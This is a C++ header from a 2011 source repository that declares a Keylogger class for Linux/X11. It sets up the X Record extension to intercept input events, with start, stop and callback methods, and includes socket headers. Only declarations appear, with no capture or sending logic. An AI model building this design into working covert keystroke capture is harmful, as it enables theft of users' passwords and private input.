blob: 91f5a716bf09c0bcd3ec08ecc1fbd89b677f8924 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
//
// Keylogger.hpp for Keylogger clas in /home/vianney
//
// Made by Vianney Bouchaud
// Login <vianney@bouchaud.org>
//
// Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud
// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud
//
#ifndef __KEYLOGGER_HH__
# define __KEYLOGGER_HH__
#include <X11/Xlibint.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/Xos.h>
#include <X11/Shell.h>
#include <X11/cursorfont.h>
#include <X11/keysymdef.h>
#include <X11/keysym.h>
#include <X11/extensions/record.h>
#include <X11/extensions/XTest.h>
#include <unistd.h>
#include <exception>
#include <string>
#include <iostream>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
struct CallbackClosure {
Display *ctrlDisplay;
Display *dataDisplay;
int curX;
int curY;
void *initialObject;
};
typedef union {
unsigned char type;
xEvent event;
xResourceReq req;
xGenericReply reply;
xError error;
xConnSetupPrefix setup;
} XRecordDatum;
class Keylogger {
public:
Keylogger();
~Keylogger();
void start();
void stop();
void processData();
bool xConnect(std::string displayName);
private:
std::string m_displayName;
CallbackClosure userData;
std::pair<int,int> recVer;
XRecordRange *recRange;
XRecordClientSpec recClientSpec;
XRecordContext recContext;
void setupRecordExtension();
static std::string eventCallback(XPointer priv, XRecordInterceptData *hook);
};
#endif /* !__KEYLOGGER_HH__ */
|